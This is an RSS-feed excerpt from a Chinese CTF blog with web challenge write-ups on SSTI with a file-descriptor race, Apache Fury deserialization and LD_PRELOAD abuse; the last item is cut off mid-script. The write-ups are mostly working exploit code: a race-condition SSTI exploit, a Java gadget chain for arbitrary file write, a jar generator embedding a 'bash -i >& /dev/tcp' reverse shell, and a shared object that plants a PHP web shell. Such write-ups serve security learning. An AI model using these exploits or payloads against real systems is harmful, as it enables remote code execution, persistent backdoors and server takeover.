 &amp;#34;text&amp;#34;: multipart_data
 }
 
 r = requests.post(url&amp;#43;&amp;#34;/heartbeat&amp;#34;,data=data)
 print(r.text)


key()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202602271717484.png' alt="image-20260208140932227"&gt;&lt;/p&gt;
&lt;p&gt;现在就可以任意文件读取了，但是问题是我们不知道flag叫什么&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202602271717552.png' alt="image-20260208141028407"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在 Linux 中，&lt;code&gt;/proc/self/fd/&lt;/code&gt; 是当前进程“已打开文件”的快捷入口，&lt;strong&gt;一切皆文件&lt;/strong&gt;：普通文件、Socket、管道都算。
通常 &lt;strong&gt;FD 0/1/2&lt;/strong&gt; 是标准输入、输出、错误；&lt;strong&gt;FD 3&lt;/strong&gt; 往往是服务监听用的 Socket；而 &lt;strong&gt;FD 4–10&lt;/strong&gt; 多半是当前请求相关的资源，比如 &lt;code&gt;wsgi.input&lt;/code&gt;（HTTP 请求体的输入流）或请求体过大时生成的临时缓存文件。通过这些 FD，进程可以在不重新打开路径的情况下直接读写对应资源。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;那么我们可以构造一个比较大的请求体，里面有我们的SSTI Payload，这样的话fd某个值就会包含这个payload，再通过读这个fd的内容来通过SSTI进行rce，这个发包并读取的过程需要条件竞争&lt;/p&gt;
&lt;p&gt;官方exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import threading
from io import BytesIO

url = &amp;#39;http://223.6.249.127:18270&amp;#39;

STOP_SIGNAL = True
STOP_MAIN = True

def get_key():
 boundary = &amp;#34;asdasdasd&amp;#34;
 # 覆盖 action 字段
 text = f&amp;#39;&amp;#39;&amp;#39;
{{0.__class__.__init__.__globals__[sys].modules[__main__].API_KEY}}
--{boundary}
Content-Disposition: form-data; name=&amp;#34;action&amp;#34;; filename=&amp;#34;action&amp;#34;
Content-Type: application/json

{{&amp;#34;type&amp;#34;:&amp;#34;debug&amp;#34;}}
--{boundary}--
&amp;#39;&amp;#39;&amp;#39;.strip()
 header = &amp;#34;Content-Type&amp;#34;

 data = {
 &amp;#34;client&amp;#34; : header,
 &amp;#34;token&amp;#34; : f&amp;#34;multipart/form-data; boundary={boundary}&amp;#34;,
 &amp;#34;text&amp;#34; : text
 }
 res = requests.post(url=url &amp;#43; &amp;#39;/heartbeat&amp;#39;, data=data)
 return res.text.strip()

def send(command : str):
 # 发送大文件
 size = 500 * 1024 &amp;#43; 1
 payload = b&amp;#34;&amp;lt;start&amp;gt;&amp;#34; &amp;#43; b&amp;#34; &amp;#34;*size &amp;#43; b&amp;#34;&amp;lt;end&amp;gt;&amp;#34; &amp;#43; b&amp;#34;{{url_for.__globals__[&amp;#39;os&amp;#39;].popen(&amp;#39;&amp;#34; &amp;#43; command.encode() &amp;#43; b&amp;#34;&amp;#39;).read()}}&amp;#34;
 files = {
 &amp;#34;payload&amp;#34; : (&amp;#34;payload&amp;#34;, BytesIO(payload), &amp;#34;text/plain&amp;#34;)
 }
 requests.post(url=url &amp;#43; &amp;#39;/heartbeat&amp;#39;, files=files)

def render(key : str):
 global STOP_SIGNAL
 global STOP_MAIN
 while STOP_SIGNAL:
 try:
 res = requests.get(url=url &amp;#43; &amp;#39;/admin&amp;#39;, params={
 &amp;#34;tmpl&amp;#34; : &amp;#34;/proc/self/fd/5&amp;#34;
 }, headers={
 &amp;#34;Authorization&amp;#34; : key
 })
 if &amp;#34;&amp;lt;end&amp;gt;&amp;#34; in res.text:
 print(&amp;#39;\n&amp;#39; &amp;#43; res.text.split(&amp;#39;&amp;lt;end&amp;gt;&amp;#39;)[1].strip())
 STOP_SIGNAL = False
 STOP_MAIN = False
 except:
 pass

if __name__ == &amp;#39;__main__&amp;#39;:
 command = &amp;#34;cat /flag*&amp;#34;

 API_KEY = get_key()
 print(f&amp;#34;API_KEY : {API_KEY}&amp;#34;)

 total = 0
 while STOP_MAIN:
 try:
 STOP_SIGNAL = True
 total = total &amp;#43; 1
 print(f&amp;#34;第{str(total)}次尝试&amp;#34;, end=&amp;#39;\r&amp;#39;)

 t = threading.Thread(target=render, args=(API_KEY, ))
 t.start()

 send(command)
 except KeyboardInterrupt as e:
 break
 except:
 pass
 finally:
 STOP_SIGNAL = False
 t.join()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202602271717590.png' alt="image-20260208144921062"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="fileury"&gt;&lt;span&gt;Fileury&lt;/span&gt;
 &lt;a href="#fileury" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;&lt;code&gt;com.app.UndertowRoutingServer&lt;/code&gt;存在Apache Fury反序列化&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;byte[] decoded = Base64.getDecoder().decode(v.getValue());
decodedStr = new String(decoded, StandardCharsets.UTF_8);
Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
//允许不预先注册类的情况下进行反序列化
fury.deserialize(decoded);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;并且在furry/disallowed.txt存在反序列化黑名单，反序列化时会检查类是否在黑名单中&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202602271717520.png' alt="image-20260208164258171"&gt;&lt;/p&gt;
&lt;p&gt;(黑名单太长就不贴了)&lt;/p&gt;
&lt;p&gt;从依赖中可以发现存在AspectJWeaver依赖和CC依赖，并且以下类是不在黑名单中的&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;org.apache.commons.collections.map.LazyMap&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;org.apache.commons.collections.keyvalue.TiedMapEntry&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;org.apache.commons.collections.comparators.TransformingComparator&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;org.apache.commons.collections.functors.ConstantFactory&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;org.apache.commons.collections.functors.StringValueTransformer&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;正好yso中的AspectJWeaver写文件链子同时也需要cc依赖，参考 &lt;a href="https://meizjm3i.github.io/2021/03/07/Servlet%E4%B8%AD%E7%9A%84%E6%97%B6%E9%97%B4%E7%AB%9E%E4%BA%89%E4%BB%A5%E5%8F%8AAsjpectJWeaver%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadget%E6%9E%84%E9%80%A0-AntCTFxD-3CTF-non-RCE%E9%A2%98%E8%A7%A3/" target="_blank" rel="external nofollow noopener noreferrer"&gt;Servlet中的时间竞争及AspectJWeaver反序列化Gadget构造[non-RCE 题解]&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HashSet.readObject()
 HashMap.put()
 HashMap.hash()
 TiedMapEntry.hashCode()
 TiedMapEntry.getValue()
 LazyMap.get()
 SimpleCache$StorableCachingMap.put()
 SimpleCache$StorableCachingMap.writeToPath()
 FileOutputStream.write()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;我们可以使用这条链子来任意写文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.StringValueTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.fury.Fury;
import org.apache.fury.config.Language;
import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Map;
import java.util.PriorityQueue;

public class AspectJWeaverExp {

 public static void main(String[] args) throws Exception {
 // Goal: Arbitrary File Write
 // Chain:
 // PriorityQueue.readObject() -&amp;gt; heapify() -&amp;gt; comparator.compare()
 // comparator = TransformingComparator(StringValueTransformer)
 // transformer.transform(TiedMapEntry) -&amp;gt; TiedMapEntry.toString()
 // TiedMapEntry.toString() -&amp;gt; getValue() -&amp;gt; map.get(key)
 // map = LazyMap(StoreableCachingMap, ConstantFactory(bytes))
 // LazyMap.get(key) -&amp;gt; factory.create(key) -&amp;gt; bytes
 // LazyMap.put(key, bytes) -&amp;gt; StoreableCachingMap.put(key, bytes) -&amp;gt; write bytes to file &amp;#39;key&amp;#39;
 byte[] content = Files.readAllBytes(Paths.get(&amp;#34;E:\\CTF_Challenge\\阿里CTF 2026\\Fileury\\FileuryExp\\ascii01_3.jar&amp;#34;));

 String filename = &amp;#34;../../../../../../../../../usr/local/openjdk-8/jre/lib/ext/dnsns.jar&amp;#34;;
// byte[] content = cronPayload.getBytes();

 // 1. Setup StoreableCachingMap (The Inner Map)
 // Ensure access to the class
 Class&amp;lt;?&amp;gt; scMapClass = Class.forName(&amp;#34;org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap&amp;#34;);
 Constructor&amp;lt;?&amp;gt; constructor = scMapClass.getDeclaredConstructor(String.class, int.class);
 constructor.setAccessible(true);
 // folder = &amp;#34;.&amp;#34;, maxEntries = 100
 Map storeableMap = (Map) constructor.newInstance(&amp;#34;.&amp;#34;, 100);

 // 2. Setup LazyMap with ConstantFactory
 ConstantFactory factory = new ConstantFactory(content);
 Map lazyMap = LazyMap.decorate(storeableMap, factory);

 // 3. Setup TiedMapEntry
 TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);

 // 4. Setup Comparator and Transformer
 // StringValueTransformer calls String.valueOf(obj) which calls obj.toString() (if not null)
 org.apache.commons.collections.Transformer transformer = StringValueTransformer.getInstance();
 TransformingComparator comparator = new TransformingComparator(transformer);

 // 5. Setup PriorityQueue
 PriorityQueue queue = new PriorityQueue(2, comparator);

 Field sizeField = PriorityQueue.class.getDeclaredField(&amp;#34;size&amp;#34;);
 sizeField.setAccessible(true);
 sizeField.set(queue, 2);

 Field queueField = PriorityQueue.class.getDeclaredField(&amp;#34;queue&amp;#34;);
 queueField.setAccessible(true);
 Object[] queueArray = new Object[2];
 queueArray[0] = entry;
 queueArray[1] = entry;
 queueField.set(queue, queueArray);

 // 6. Serialize with Fury
 System.out.println(&amp;#34;Serializing AspectJ Chain with Fury...&amp;#34;);
 Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
 byte[] serializedInfo = fury.serialize(queue);


 String b64 = Base64.getEncoder().encodeToString(serializedInfo);
 FileOutputStream fos = new FileOutputStream(&amp;#34;payload_aj.b64&amp;#34;);
 fos.write(b64.getBytes());
 fos.close();
 System.out.println(&amp;#34;AspectJ Payload saved to payload_aj.b64&amp;#34;);
 System.out.println(&amp;#34;Payload Base64: &amp;#34; &amp;#43; b64);
 
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;至于为什么写dnsns.jar，参考&lt;a href="https://mp.weixin.qq.com/s/9e0V4bnV6fuGAfO1AKLYdw" target="_blank" rel="external nofollow noopener noreferrer"&gt;Fastjson write ascii JAR RCE&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;当使用-verbose:class参数时，可以监控类的加载情况&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202602271717810.png' alt="image-20260208230332390"&gt;&lt;/p&gt;
&lt;p&gt;在这里dnsns.jar仍然未被加载，所以直接覆盖dnsns.jar&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;其实只要是未加载的jar包就行&lt;/p&gt;
&lt;p&gt;生成jar包的脚本,具体参考https://github.com/c0ny1/ascii-jar&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python

import time
import os
from compress import *

allow_bytes = []
disallowed_bytes = [38, 60, 39, 62, 34, 40, 41]
for b in range(0, 128):
 if b in disallowed_bytes:
 continue
 allow_bytes.append(b)

if __name__ == &amp;#39;__main__&amp;#39;:
 padding_char = &amp;#39;U&amp;#39;
 raw_filename = &amp;#39;DNSNameServiceDescriptor.class&amp;#39;
 zip_entity_filename = &amp;#39;sun/net/spi/nameservice/dns/DNSNameServiceDescriptor.class&amp;#39;
 jar_filename = &amp;#39;ascii01_3.jar&amp;#39;
 num = 1
 while True:
 javaCode = &amp;#34;&amp;#34;&amp;#34;
package sun.net.spi.nameservice.dns;
import sun.net.spi.nameservice.NameService;
import sun.net.spi.nameservice.NameServiceDescriptor;

import java.io.IOException;

public final class DNSNameServiceDescriptor extends Exception implements NameServiceDescriptor {
 private static final String paddingData = &amp;#34;{PADDING_DATA}&amp;#34;;
 public DNSNameServiceDescriptor() {
 try {
 String[] cmd = new String[]{&amp;#34;/bin/bash&amp;#34;, &amp;#34;-c&amp;#34;, &amp;#34;bash -i &amp;gt;&amp;amp; /dev/tcp/ip/9000 0&amp;gt;&amp;amp;1&amp;#34;};
 Runtime.getRuntime().exec(cmd);
 } catch (IOException e) {
 e.printStackTrace();
 }
 }

 public NameService createNameService() throws Exception {
 return null;
 }

 public String getProviderName() {
 return &amp;#34;sun&amp;#34;;
 }

 public String getType() {
 return &amp;#34;dns&amp;#34;;
 }
}
 &amp;#34;&amp;#34;&amp;#34;
 padding_data = padding_char * num
 javaCode = javaCode.replace(&amp;#34;{PADDING_DATA}&amp;#34;, padding_data)

 f = open(&amp;#39;DNSNameServiceDescriptor.java&amp;#39;, &amp;#39;w&amp;#39;)
 f.write(javaCode)
 f.close()
 time.sleep(0.1)

 os.system(&amp;#34;D:\\JavaEnviron\\jdk1.8.0_65\\bin\\javac.exe -nowarn -g:none -source 1.8 -target 1.8 -cp jasper.jar DNSNameServiceDescriptor.java&amp;#34;)

 raw_data = bytearray(open(raw_filename, &amp;#39;rb&amp;#39;).read())
 compressor = ASCIICompressor(bytearray(allow_bytes))
 compressed_data = compressor.compress(raw_data)[0]
 crc = zlib.crc32(raw_data) % pow(2, 32)

 st_crc = struct.pack(&amp;#39;&amp;lt;L&amp;#39;, crc)
 st_raw_data = struct.pack(&amp;#39;&amp;lt;L&amp;#39;, len(raw_data) % pow(2, 32))
 st_compressed_data = struct.pack(&amp;#39;&amp;lt;L&amp;#39;, len(compressed_data) % pow(2, 32))
 st_cdzf = struct.pack(&amp;#39;&amp;lt;L&amp;#39;, len(compressed_data) &amp;#43; len(zip_entity_filename) &amp;#43; 0x1e)

 b_crc = isAllowBytes(st_crc, allow_bytes)
 b_raw_data = isAllowBytes(st_raw_data, allow_bytes)
 b_compressed_data = isAllowBytes(st_compressed_data, allow_bytes)
 b_cdzf = isAllowBytes(st_cdzf, allow_bytes)

 if b_crc and b_raw_data and b_compressed_data and b_cdzf:
 print(&amp;#39;[&amp;#43;] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}&amp;#39;.format(b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char))
 output = open(jar_filename, &amp;#39;wb&amp;#39;)
 output.write(wrap_jar(raw_data, compressed_data, zip_entity_filename.encode()))
 print(&amp;#39;[&amp;#43;] Generate {0} success&amp;#39;.format(jar_filename))
 break
 else:
 print(&amp;#39;[-] CRC:{0} RDL:{1} CDL:{2} CDAFL:{3} Padding data: {4}*{5}&amp;#39;.format(b_crc, b_raw_data, b_compressed_data, b_cdzf, num, padding_char))
 num = num &amp;#43; 1&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;上传完jar包后直接通过反序列化触发dnsns.jar加载&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import org.apache.fury.Fury;
import org.apache.fury.config.Language;
import java.io.FileOutputStream;
import java.util.Base64;


public class ExpFinal {
 public static void main(String[] args) throws Exception {
 System.out.println(&amp;#34;Generating payload to load sun.net.spi.nameservice.dns.DNSNameServiceDescriptor...&amp;#34;);

 Fury fury = Fury.builder()
 .withLanguage(Language.JAVA)
 .requireClassRegistration(false)
 .build();

 Class&amp;lt;?&amp;gt; clazz = Class.forName(&amp;#34;sun.net.spi.nameservice.dns.DNSNameServiceDescriptor&amp;#34;);
 Object instance = clazz.newInstance();

 byte[] payload = fury.serialize(instance);
 String b64 = Base64.getEncoder().encodeToString(payload);

 try (FileOutputStream fos = new FileOutputStream(&amp;#34;payload_dns.b64&amp;#34;)) {
 fos.write(b64.getBytes());
 }

 System.out.println(&amp;#34;Payload saved to payload_dns.b64&amp;#34;);
 System.out.println(&amp;#34;Payload Base64: &amp;#34; &amp;#43; b64);
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;两次发包，首先覆盖dnsns.jar&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202602271717737.png' alt="image-20260208230911857"&gt;&lt;/p&gt;
&lt;p&gt;然后触发加载，反弹shell&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202602271717634.png' alt="image-20260208230938967"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202602271717547.png' alt="image-20260208225455127"&gt;&lt;/p&gt;</description></item><item><title>强网拟态2025初赛 Web Writeup</title><link>https://blog.p0l1st.top/post/%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%812025%E5%88%9D%E8%B5%9B-web-writeup/</link><pubDate>Mon, 27 Oct 2025 11:04:24 +0000</pubDate><author>p0l1st@venomsec.org (p0l1st)</author><guid>https://blog.p0l1st.top/post/%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%812025%E5%88%9D%E8%B5%9B-web-writeup/</guid><category domain="https://blog.p0l1st.top/categories/ctf/">CTF</category><description>&lt;h1 class="heading-element" id="smallcode"&gt;&lt;span&gt;smallcode&lt;/span&gt;
 &lt;a href="#smallcode" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;pre&gt;&lt;code&gt;&amp;lt;?php
 highlight_file(__FILE__);
 if(isset($_POST[&amp;#39;context&amp;#39;])){
 $context = $_POST[&amp;#39;context&amp;#39;];
 file_put_contents(&amp;#34;1.txt&amp;#34;,base64_decode($context));
 }

 if(isset($_POST[&amp;#39;env&amp;#39;])){
 $env = $_POST[&amp;#39;env&amp;#39;];
 putenv($env);
 }
 system(&amp;#34;nohup wget --content-disposition -N hhhh &amp;amp;&amp;#34;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;写so，编译&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

__attribute__ ((__constructor__)) void init(void){
 // 防止递归加载
 unsetenv(&amp;#34;LD_PRELOAD&amp;#34;);
 
 system(&amp;#34;printf \&amp;#34;&amp;lt;?php if(isset(\\$_POST[&amp;#39;cmd&amp;#39;])){system(\\$_POST[&amp;#39;cmd&amp;#39;]);} ?&amp;gt;\&amp;#34; &amp;gt; /var/www/html/shell.php&amp;#34;);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;把so文件内容base64编码后上传&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202510271106532.png' alt="image-20251027110600364"&gt;&lt;/p&gt;
&lt;p&gt;加载&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;env=LD_PRELOAD=/var/www/html/1.txt&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;在/var/www/html写shell.php，但是读flag需要提权&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find / -perm -u=s -type f 2&amp;gt;/dev/null
nl /flag&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202510271106132.png' alt="image-20251027110632982"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="safesecret"&gt;&lt;span&gt;safesecret&lt;/span&gt;
 &lt;a href="#safesecret" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;pre&gt;&lt;code&gt;from flask import Flask, request, jsonify, Response, abort, render_template_string, session
import requests, re
from urllib.parse import urljoin, urlparse

app = Flask(__name__)

MAX_TOTAL_STEPS = 30
ERROR_COUNT = 6

META_REFRESH_RE = re.compile(
 r&amp;#39;&amp;lt;meta\s&amp;#43;http-equiv=[&amp;#34;\&amp;#39;]refresh[&amp;#34;\&amp;#39;]\s&amp;#43;content=[&amp;#34;\&amp;#39;]\s*\d&amp;#43;\s*;\s*url=([^&amp;#34;\&amp;#39;]&amp;#43;)[&amp;#34;\&amp;#39;]&amp;#39;,
 re.IGNORECASE
)


def read(f): return open(f).read()


SECRET = read(&amp;#34;/secret&amp;#34;).strip()
app.secret_key = &amp;#34;a_test_secret&amp;#34;


def sset(key, value):
 session[key] = value
 return &amp;#34;&amp;#34;


def sget(key, default=None):
 return session.get(key, default)


app.jinja_env.globals.update(sget=sget)
app.jinja_env.globals.update(sset=sset)


@app.route(&amp;#34;/_internal/secret&amp;#34;)
def internal_flag():
 if request.remote_addr not in (&amp;#34;127.0.0.1&amp;#34;, &amp;#34;::1&amp;#34;):
 abort(403)
 body = f&amp;#39;OK Secret: {SECRET}&amp;#39;
 return Response(body, mimetype=&amp;#34;application/json&amp;#34;)


@app.route(&amp;#34;/&amp;#34;)
def index():
 return &amp;#34;welcome&amp;#34;


def _next_by_refresh_header(r, current_url):
 refresh = r.headers.get(&amp;#34;Refresh&amp;#34;)
 if not refresh:
 return None
 try:
 part = refresh.split(&amp;#34;;&amp;#34;, 1)[1]
 k, v = part.split(&amp;#34;=&amp;#34;, 1)
 if k.strip().lower() == &amp;#34;url&amp;#34;:
 return urljoin(current_url, v.strip())
 except Exception:
 return None


def _next_by_meta_refresh(r, current_url):
 m = META_REFRESH_RE.search(r.text[:5000])
 if m:
 return urljoin(current_url, m.group(1).strip())
 return None


def _next_by_authlike_header(r, current_url):
 if r.status_code in (401, 407, 429):
 nxt = r.headers.get(&amp;#34;X-Next&amp;#34;)
 if nxt:
 return urljoin(current_url, nxt)
 return None


def my_fetch(url):
 session = requests.Session()
 current_url = url
 count_redirect = 0
 history = []
 last_resp = None

 while count_redirect &amp;lt; MAX_TOTAL_STEPS:
 print(count_redirect)
 try:
 r = session.get(current_url, allow_redirects=False, timeout=5)
 print(r.text)
 except Exception as e:
 return history, None, f&amp;#34;Upstream request failed: {e}&amp;#34;

 last_resp = r
 history.append({
 &amp;#34;url&amp;#34;: current_url,
 &amp;#34;status&amp;#34;: r.status_code,
 &amp;#34;headers&amp;#34;: dict(r.headers),
 &amp;#34;body_preview&amp;#34;: r.text[:800]
 })

 nxt = _next_by_refresh_header(r, current_url)
 if nxt:
 current_url = nxt
 count_redirect &amp;#43;= 1
 continue

 nxt = _next_by_meta_refresh(r, current_url)
 if nxt:
 current_url = nxt
 count_redirect &amp;#43;= 1
 continue

 nxt = _next_by_authlike_header(r, current_url)
 if nxt:
 current_url = nxt
 count_redirect &amp;#43;= 1
 continue

 break

 return history, last_resp, None


@app.route(&amp;#34;/fetch&amp;#34;)
def fetch():
 target = request.args.get(&amp;#34;url&amp;#34;)
 if not target:
 return jsonify({&amp;#34;error&amp;#34;: &amp;#34;no url&amp;#34;}), 400

 history, last_resp, err = my_fetch(target)
 if err:
 return jsonify({&amp;#34;error&amp;#34;: err}), 502
 if not last_resp:
 return jsonify({&amp;#34;error&amp;#34;: &amp;#34;no response&amp;#34;}), 502

 walked_steps = len(history) - 1
 try:
 if &amp;#34;application/json&amp;#34; in (last_resp.headers.get(&amp;#34;Content-Type&amp;#34;) or &amp;#34;&amp;#34;).lower():
 _ = last_resp.json()
 else:
 if &amp;#34;MUST_HAVE_FIELD&amp;#34; not in last_resp.text:
 raise ValueError(&amp;#34;JSON schema mismatch&amp;#34;)
 return jsonify({&amp;#34;ok&amp;#34;: True, &amp;#34;len&amp;#34;: len(last_resp.text)})

 except Exception as parse_err:
 if walked_steps &amp;gt;= ERROR_COUNT:
 raw = []
 raw.append(last_resp.text[:5000])
 return Response(&amp;#34;\n&amp;#34;.join(raw), mimetype=&amp;#34;text/plain&amp;#34;, status=500)
 else:
 return jsonify({&amp;#34;error&amp;#34;: &amp;#34;Invalid JSON&amp;#34;}), 500


@app.route(&amp;#34;/login&amp;#34;)
def login():
 username = request.args.get(&amp;#34;username&amp;#34;)
 secret = request.args.get(&amp;#34;secret&amp;#34;, &amp;#34;&amp;#34;)
 blacklist = [&amp;#34;config&amp;#34;, &amp;#34;_&amp;#34;, &amp;#34;read&amp;#34;, &amp;#34;{{&amp;#34;]
 if secret != SECRET:
 return (&amp;#34;forbidden&amp;#34;, 403)

 if len(username) &amp;gt; 47:
 return (&amp;#34;username too long&amp;#34;, 400)

 if any([n in username.lower() for n in blacklist]):
 return (&amp;#34;forbidden&amp;#34;, 403)

 sset(&amp;#39;username&amp;#39;, username)

 rendered = render_template_string(&amp;#34;Welcome: &amp;#34; &amp;#43; username)
 return rendered


if __name__ == &amp;#34;__main__&amp;#34;:
 app.run(host=&amp;#34;0.0.0.0&amp;#34;, port=5000)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;需要进行七次重定向&lt;/p&gt;
&lt;p&gt;ai写个Exp，放vps上&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from http.server import HTTPServer, BaseHTTPRequestHandler

class RefreshRedirectHandler(BaseHTTPRequestHandler):
 def do_GET(self):
 print(f&amp;#34;Request: {self.path}&amp;#34;)

 if self.path == &amp;#39;/start&amp;#39;:
 self.send_response(200)
 self.send_header(&amp;#39;Refresh&amp;#39;, &amp;#39;0; url=https://blog.p0l1st.top/step1&amp;#39;)
 self.end_headers()
 self.wfile.write(b&amp;#39;Redirecting...&amp;#39;)
 elif self.path == &amp;#39;/step1&amp;#39;:
 self.send_response(200)
 self.send_header(&amp;#39;Refresh&amp;#39;, &amp;#39;0; url=https://blog.p0l1st.top/step2&amp;#39;)
 self.end_headers()
 self.wfile.write(b&amp;#39;Redirecting...&amp;#39;)
 elif self.path == &amp;#39;/step2&amp;#39;:
 self.send_response(200)
 self.send_header(&amp;#39;Refresh&amp;#39;, &amp;#39;0; url=https://blog.p0l1st.top/step3&amp;#39;)
